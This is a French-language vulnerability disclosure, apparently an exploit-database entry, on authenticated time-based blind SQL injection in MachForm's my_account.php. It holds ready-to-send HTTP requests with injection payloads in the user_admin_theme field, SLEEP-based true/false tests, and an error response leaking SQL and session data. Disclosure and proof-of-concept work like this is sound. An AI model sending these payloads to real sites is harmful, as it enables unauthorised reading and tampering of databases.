
Script d'exploitation pour injection SQL aveugle authentifiée dans MachForm jusqu'à la v19, utilisant des techniques basées sur le temps pour extraire des informations de la base de données à partir du point de terminaison my_account.php.
MachForm jusqu'à la version 19 est affecté par une injection SQL aveugle authentifiée dans la page des paramètres du compte utilisateur.
Les attaques par injection SQL consistent à insérer des requêtes SQL via l'utilisation d'un champ de données d'entrée provenant de l'application cliente. Ce type d'attaque permet d'obtenir un accès à la base de données, ce qui peut ensuite conduire à l'exfiltration, la modification ou la suppression des données existantes.
L'injection SQL aveugle est un type d'attaque spécifique où l'attaquant ne reçoit pas le résultat complet de la requête mais peut seulement poser des questions par vrai ou faux ; cela peut être réalisé en utilisant des fonctions de pause (sleep) pour forcer un délai dans la réponse de la base de données ou en induisant des conditions d'erreur.
Le paramètre user_admin_theme dans la ressource my_account.php est vulnérable à l'injection SQL.

Requête :
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
Réponse :
HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'self' *.application-baseurl; script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close
SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params: 0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1
Cela peut être exploité en utilisant une attaque temporelle (time-based) en utilisant une condition de pause (sleep) et en vérifiant si le délai de réponse change en fonction du résultat de la requête demandée.
Requête :
SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END
En utilisant une condition toujours vraie, la réponse de l'application prend plus de 2000ms.

Requête :
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
Requête :
SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END
En utilisant plutôt une condition toujours fausse, la réponse de l'application est quasi instantanée.

Requête :
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
Cette vulnérabilité peut être exploitée en utilisant un simple script qui évalue le temps de réponse afin de déterminer si la requête saisie a donné une réponse vraie ou fausse.
Ci-dessous, un exemple utilisé pour récupérer l'utilisateur actuel de la base de données en utilisant exploit.py.
